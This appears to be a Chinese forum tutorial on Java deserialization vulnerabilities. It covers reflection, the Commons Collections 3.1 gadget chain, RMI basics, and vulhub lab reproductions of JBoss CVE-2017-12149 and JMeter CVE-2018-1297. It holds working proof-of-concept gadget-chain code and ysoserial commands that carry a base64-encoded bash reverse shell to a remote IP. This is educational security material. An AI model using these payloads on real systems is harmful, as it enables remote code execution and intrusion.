Java反序列化漏洞原理解析

Java序列化与反序列化

序列化与反序列化过程

Java 序列化是指把 Java 对象转换为字节序列的过程
ObjectOutputStream类的 writeObject() 方法可以实现序列化

Java 反序列化是指把字节序列恢复为 Java 对象的过程
ObjectInputStream 类的 readObject() 方法用于反序列化。

实现java.io.Serializable接口才可被反序列化,而且所有属性必须是可序列化的
(用transient关键字修饰的属性除外,不参与序列化过程)
需要序列化的类

package serialize;

import java.io.Serializable;

public class User implements Serializable{
    private String name;
    public void setName(String name) {
        this.name=name;
    }
    public String getName() {
        return name;
    }
}

序列化和反序列化

package serialize;

import java.io.*;

public class Main {
    public static void main(String[] args) throws Exception {
        User user=new User();
        user.setName("leixiao");

        byte[] serializeData=serialize(user);
        FileOutputStream fout = new FileOutputStream("user.bin");
        fout.write(serializeData);
        fout.close();
        User user2=(User) unserialize(serializeData);
        System.out.println(user2.getName());
    }
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }
    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

运行结果

写到文件的便是该对象序列化后的二进制数据

readObject()方法

特地提到这个方法是因为在反序列化漏洞中它起到了关键作用,readObject()方法被重写的的话,反序列化该类时调用便是重写后的readObject()方法。如果该方法书写不当的话就有可能引发恶意代码的执行,如

package evilSerialize;

import java.io.*;

public class Evil implements Serializable{
    public String cmd;
    private void readObject(java.io.ObjectInputStream stream) throws Exception {
        stream.defaultReadObject();
        Runtime.getRuntime().exec(cmd);
    }
}
package evilSerialize;

import java.io.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Evil evil=new Evil();
        evil.cmd="calc";

        byte[] serializeData=serialize(evil);
        unserialize(serializeData);
    }
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }
    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}


但肯定不会有程序员写出这样的代码,所以往往实际中反序列化漏洞的构造比较复杂,而且需要借助Java的一些特性如Java的反射

Java反射

Java反射定义

对于任意一个类,都能够得到这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制。

其实在Java中定义的一个类本身也是一个对象,即java.lang.Class类的实例,这个实例称为类对象

  • 类对象表示正在运行的 Java 应用程序中的类和接口
  • 类对象没有公共构造方法,由 Java 虚拟机自动构造
  • 类对象用于提供类本身的信息,比如有几种构造方法, 有多少属性,有哪些普通方法

要得到类的方法和属性,首先就要得到该类对象

获取类对象

假设现在有一个User类

package reflection;

public class User {
    private String name;

    public User(String name) {
        this.name=name;
    }
    public void setName(String name) {
        this.name=name;
    }
    public String getName() {
        return name;
    }
}

要获取该类对象一般有三种方法

  • class.forName("reflection.User")
  • User.class
  • new User().getClass()
    最常用的是第一种,通过一个字符串即类的全路径名就可以得到类对象,另外两种方法依赖项太强

利用类对象创建对象

与new直接创建对象不同,反射是先拿到类对象,然后通过类对象获取构造器对象,再通过构造器对象创建一个对象

package reflection;

import java.lang.reflect.*;

public class CreateObject {
    public static void main(String[] args) throws Exception {
        Class UserClass=Class.forName("reflection.User");
        Constructor constructor=UserClass.getConstructor(String.class);
        User user=(User) constructor.newInstance("leixiao");

        System.out.println(user.getName());
    }
}
方法 说明
getConstructor(Class...<?> parameterTypes) 获得该类中与参数类型匹配的公有构造方法
getConstructors() 获得该类的所有公有构造方法
getDeclaredConstructor(Class...<?> parameterTypes) 获得该类中与参数类型匹配的构造方法
getDeclaredConstructors() 获得该类所有构造方法

通过反射调用方法

package reflection;

import java.lang.reflect.*;

public class CallMethod {
    public static void main(String[] args) throws Exception {
        Class UserClass=Class.forName("reflection.User");

        Constructor constructor=UserClass.getConstructor(String.class);
        User user=(User) constructor.newInstance("leixiao");

        Method method = UserClass.getDeclaredMethod("setName", String.class);
        method.invoke(user, "l3yx");

        System.out.println(user.getName());
    }
}
方法 说明
getMethod(String name, Class...<?> parameterTypes) 获得该类某个公有的方法
getMethods() 获得该类所有公有的方法
getDeclaredMethod(String name, Class...<?> parameterTypes) 获得该类某个方法
getDeclaredMethods() 获得该类所有方法

通过反射访问属性

package reflection;

import java.lang.reflect.*;

public class AccessAttribute {
    public static void main(String[] args) throws Exception {
        Class UserClass=Class.forName("reflection.User");

        Constructor constructor=UserClass.getConstructor(String.class);
        User user=(User) constructor.newInstance("leixiao");

        Field field= UserClass.getDeclaredField("name");
        field.setAccessible(true);// name是私有属性,需要先设置可访问
        field.set(user, "l3yx");

        System.out.println(user.getName());
    }
}
方法 说明
getField(String name) 获得某个公有的属性对象
getFields() 获得所有公有的属性对象
getDeclaredField(String name) 获得某个属性对
getDeclaredFields() 获得所有属性对象

利用java反射执行代码

package reflection;

public class Exec {
    public static void main(String[] args) throws Exception {
        //java.lang.Runtime.getRuntime().exec("calc.exe");

        Class runtimeClass=Class.forName("java.lang.Runtime");
        Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);// getRuntime是静态方法,invoke时不需要传入对象
        runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");
    }
}

以上代码中,利用了Java的反射机制把我们的代码意图都利用字符串的形式进行体现,使得原本应该是字符串的属性,变成了代码执行的逻辑,而这个机制也是后续的漏洞使用的前提

JAVA Apache-CommonsCollections3.1 反序列化RCE漏洞分析

该漏洞组件下载地址
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1

Java开发过程中常使用一些公共库。Apache Commons Collections提供了很多强有力的数据结构类型并且实现了各种集合工具类

Apache Commons Collections 反序列化 RCE 漏洞问题主要是由于其中的InvokerTransformer类可以通过Java的反射机制来调用任意函数,再配合其他类的包装最终完成反序列化漏洞

InvokerTransformer类的transform方法

在transform方法中传入了一个对象,然后通过反射调用了iMethodName方法,参数是iArgs

而方法名,参数类型,参数值都可通过构造函数传入

那么借助InvokerTransformer可像这样执行命令

package invokerTransformerDemo;

import org.apache.commons.collections.functors.InvokerTransformer;

public class InvokerTransformerDemo {
    public static void main(String[] args) throws Exception {
        //Class runtimeClass=Class.forName("java.lang.Runtime");
        //Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);
        //runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");

        Class runtimeClass=Class.forName("java.lang.Runtime");// Runtime的类对象

        //借助InvokerTransformer调用runtimeClass的getMethod方法,参数是getRuntime,最后返回的其实是一个Method对象即getRuntime方法
        Object m_getMethod=new InvokerTransformer("getMethod",new Class[] {
                String.class,Class[].class},new Object[] {
                "getRuntime",null
                }
        ).transform(runtimeClass);

        //借助InvokerTransformer调用m_getMethod的invoke方法,没有参数,最后返回的其实是runtime这个对象
        Object runtime=new InvokerTransformer("invoke",new Class[] {
                Object.class,Object[].class},new Object[] {
                null,null
                }
        ).transform(m_getMethod);

        //借助InvokerTransformer调用runtime的exec方法,参数为calc.exe,返回的自然是一个Process对象
        Object exec=new InvokerTransformer("exec",new Class[] {
                String.class},new Object[] {
                "calc.exe"
                }
        ).transform(runtime);
    }
}

然后还需要了解的是ConstantTransformer类的transform方法

代码很简单就是返回iConstant
而iConstant在构造函数传入

再看一个比较关键的类ChainedTransformer,首先是其构造函数

可见传入的是一个Transformer的数组,并赋给iTransformers

然后它的transform方法

调用了iTransformers中每个Transformer的transform方法,并且将每次的返回值作为了下一个Transformer的参数

那么修改下之前借助InvokerTransformer执行命令的代码,可写出如下反射链

package reflectionChain;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;

public class ReflectionChain {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers=new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[] {
                        String.class,Class[].class},new Object[] {
                        "getRuntime",null
                        }
                ),
                new InvokerTransformer("invoke",new Class[] {
                        Object.class,Object[].class},new Object[] {
                        null,null
                        }
                ),
                new InvokerTransformer("exec",new Class[] {
                        String.class},new Object[] {
                        "calc.exe"
                        }
                )
        };

        ChainedTransformer chain= new ChainedTransformer(transformers);
        chain.transform(null);
    }
}

至此,我们漏洞的利用条件是构造出含命令的ChainedTransformer对象,然后触发其transform方法。

如何触发呢,接着看TransformedMap类的源码
在checkSetValue函数中调用了valueTransformer的transform函数

对外创建TransformedMap对象的方法是decorate方法,valueTransformer也在此传入

所以把之前构造的反射链chain传入构造一个TransformedMap对象

Map innermap = new HashMap();
innermap.put("key", "value");
Map outmap = TransformedMap.decorate(innermap, null, chain);

还需要继续寻找触发checkSetValue的地方

Map是java中的接口,Map.Entry是Map的一个内部接口
Map.entrySet()的返回值是一个Set集合,此集合的类型为Map.Entry
Map.Entry中的setValue() 函数最终会触发 checkSetValue() 函数

所以对outmap对象如下操作就可触发命令执行

Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
onlyElement.setValue("foobar");

完整代码如下

package reflectionChain;

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;

public class Poc {
public static void main(String[] args) throws Exception {

        Transformer[] transformers=new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[] {
                        String.class,Class[].class},new Object[] {
                        "getRuntime",null
                        }
                ),
                new InvokerTransformer("invoke",new Class[] {
                        Object.class,Object[].class},new Object[] {
                        null,null
                        }
                ),
                new InvokerTransformer("exec",new Class[] {
                        String.class},new Object[] {
                        "calc.exe"
                        }
                )
        };

        ChainedTransformer chain= new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        innermap.put("key", "value");
        Map outmap = TransformedMap.decorate(innermap, null, chain);

        Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
        onlyElement.setValue("x");
    }
}

目前的构造还需要依赖于Map.Entry去调用setValue(),怎样才在反序列化时直接触发执行呢?

之前提过如果某个可序列化的类重写了readObject()方法,反序列化时就优先调用重写后的方法,如果能找到一个类在其readObject()方法中对Map类型的变量进行了键值修改操作,且这个Map变量是可控的,那么就可以实现攻击目标

AnnotationInvocationHandler
这个类有一个成员变量memberValues是Map类型
而且readObject()函数中对memberValues.entrySet()的每一项调用了setValue()方法

所以最后poc

package poc;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;

public class Poc {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers=new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[] {
                        String.class,Class[].class},new Object[] {
                        "getRuntime",null
                        }
                ),
                new InvokerTransformer("invoke",new Class[] {
                        Object.class,Object[].class},new Object[] {
                        null,null
                        }
                ),
                new InvokerTransformer("exec",new Class[] {
                        String.class},new Object[] {
                        "calc.exe"
                        }
                )
        };

        ChainedTransformer chain= new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        innermap.put("key", "value");
        Map outmap = TransformedMap.decorate(innermap, null, chain);

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class, outmap);

        File f = new File("temp.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
    }

}

最后生成的temp.bin只需要通过某种途径传递给服务端使其反序列化就可RCE

总结下利用链就是

需要注意的时改以上利用方法在jdk1.7有效,不过ysoserial中也有jdk1.8的利用方式

Jav反序列化漏洞利用

触发场景

1.HTTP请求中的参数
2.RMI,即Java远程方法调用,在RMI中传输的数据皆为序列化
3.JMX,一个为应用程序植入管理功能的框架
4.自定义协议 用来接收与发送原始的java对象

相关工具

https://github.com/frohoff/ysoserial/

实际测试

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

这里借助vulhub的环境
https://vulhub.org/#/environments/jboss/CVE-2017-12149/

首次执行时会有1~3分钟时间初始化,初始化完成后访问http://ip:8080/即可看到JBoss默认页面

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了反序列化

使用ysoserial来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuMTExLnh4eC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser


Jmeter RMI 反序列化命令执行漏洞(CVE-2018-1297)

Apache JMeter是美国阿帕奇(Apache)软件基金会的一套使用Java语言编写的用于压力测试和性能测试的开源软件。其2.x版本和3.x版本中存在反序列化漏洞

先了解一下RMI

RMI
RMI定义

Java RMI(Java Remote Method Invocation),即Java远程方法调用。是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。
远程方法调用是分布式编程中的一个基本思想。而RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制
远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。
RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。

RMI交互图

RMI Demo

定义一个远程接口

package RMI;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IUser extends Remote {
    public void setName(String name) throws RemoteException;
    public String getName() throws RemoteException;
}

IUser是客户端和服务端共用的接口,客户端本地必须有远程对象的接口,不然无法指定要调用的方法。 远程接口必须继承Remote,而且所有参数和返回类型都必须可以序列化(因为需要网络传输),任意远程对象都需要实现该接口且只有远程接口中指定的方法可以被调用。

定义远程接口实现类即远程对象

package RMI;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class User extends UnicastRemoteObject implements IUser {
    protected User() throws RemoteException {
        //UnicastRemoteObject.exportObject(this,0);
    }
    private String name;

    public String getName() throws RemoteException{
        return name;
    }
    public void setName(String name) throws RemoteException{
        this.name=name;
    }
}

需要继承UnicastRemoteObject类,才表明其可以作为远程对象,被注册到注册表中供客户端远程调用。
如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法

RMI注册表
Server端注册了一个远程对象后,JVM随机监听一个端口
Client端并不知道Server远程对象的通信端口,但是Stub中包含了这些信息,并封装了底层网络操作;
Client端可以调用Stub上的方法;
Stub连接到Server端监听的通信端口并提交参数;
远程Server端上执行具体的方法,并返回结果给Stub; Stub返回执行结果给Client端,从Client看来就好像是Stub在本地执行了这个方法一样;
那怎么获取Stub呢?

常见的方法是调用某个远程服务上的方法,向远程服务获取Stub。但是调用远程方法又必须先有远程对象的Stub,所以这里有个死循环问题。JDK提供了一个RMI注册表(RMIRegistry)来解决这个问题。RMIRegistry也是一个远程对象,默认监听在1099端口

使用RMI Registry之后,RMI的调用关系是这样的

所以其实从客户端角度看,服务端应用是有两个端口的,一个是RMI Registry端口(默认为1099),另一个是远程对象的通信端口(随机分配的)

服务端

package RMI;

import java.net.MalformedURLException;
import java.rmi.*;
import java.rmi.registry.*;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
        User user=new User();//创建一个远程对象

        Registry registry = LocateRegistry.createRegistry(1099);//本地主机上的远程对象注册表Registry的实例,默认端口1099
        registry.bind("user", user);//把远程对象注册到RMI注册服务器上,并命名为user

        System.out.println("server ready...");
    }
}

客户端

package RMI;

import java.net.MalformedURLException;
import java.rmi.*;
import java.rmi.registry.*;

public class RMIClient {
    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException {
        Registry registry = LocateRegistry.getRegistry("localhost",1099);
        IUser user = (IUser)registry.lookup("user");// 从Registry中检索远程对象的存根/代理

        user.setName("leixiao");// 调用远程对象的方法
        System.out.println(user.getName());
    }
}

LocateRegistry.getRegistry()会使用给定的主机和端口等信息本地创建一个Stub对象作为Registry远程对象的代理,从而启动整个远程调用逻辑。服务端应用程序可以向RMI注册表中注册远程对象,然后客户端向RMI注册表查询某个远程对象名称,来获取该远程对象的Stub

客户端lookup找到的对象,只是该远程对象的Stub(存根对象),而服务端的对象有一个对应的骨架Skeleton(用于接收客户端stub的请求,以及调用真实的对象)对应,Stub是远程对象的客户端代理,Skeleton是远程对象的服务端代理,他们之间协作完成客户端与服务器之间的方法调用时的通信

漏洞复现

这样便在服务器的1099端口开启了RMI服务

直接使用ysoserial即可进行利用,这里用的是BeanShell1这条gadget
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 39.107.111.xxx 1099 BeanShell1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuMTExLnh4eC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"

RMIRegistryExploit会在本地起RMIClient与服务端进行通信并且传入恶意的序列化数据

演示源码和参考链接

源码

Java反序列化漏洞学习笔记源码

参考链接

JMX超详细解读
深入理解JNDI注入与Java反序列化漏洞利用
理解Java RMI 一篇就够
JAVA RMI 原理和使用浅析
java RMI原理详解
深入理解 JAVA 反序列化漏洞
Java反序列化漏洞从入门到深入
Java反序列化漏洞的原理分析
Java反序列化漏洞从无到有
Java 反射 -超详细讲解(附源码)
Java反序列化漏洞分析
JBoss 5.x/6.x 反序列化漏洞
Jmeter RMI 反序列化命令执行漏洞

点击收藏 | 3 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖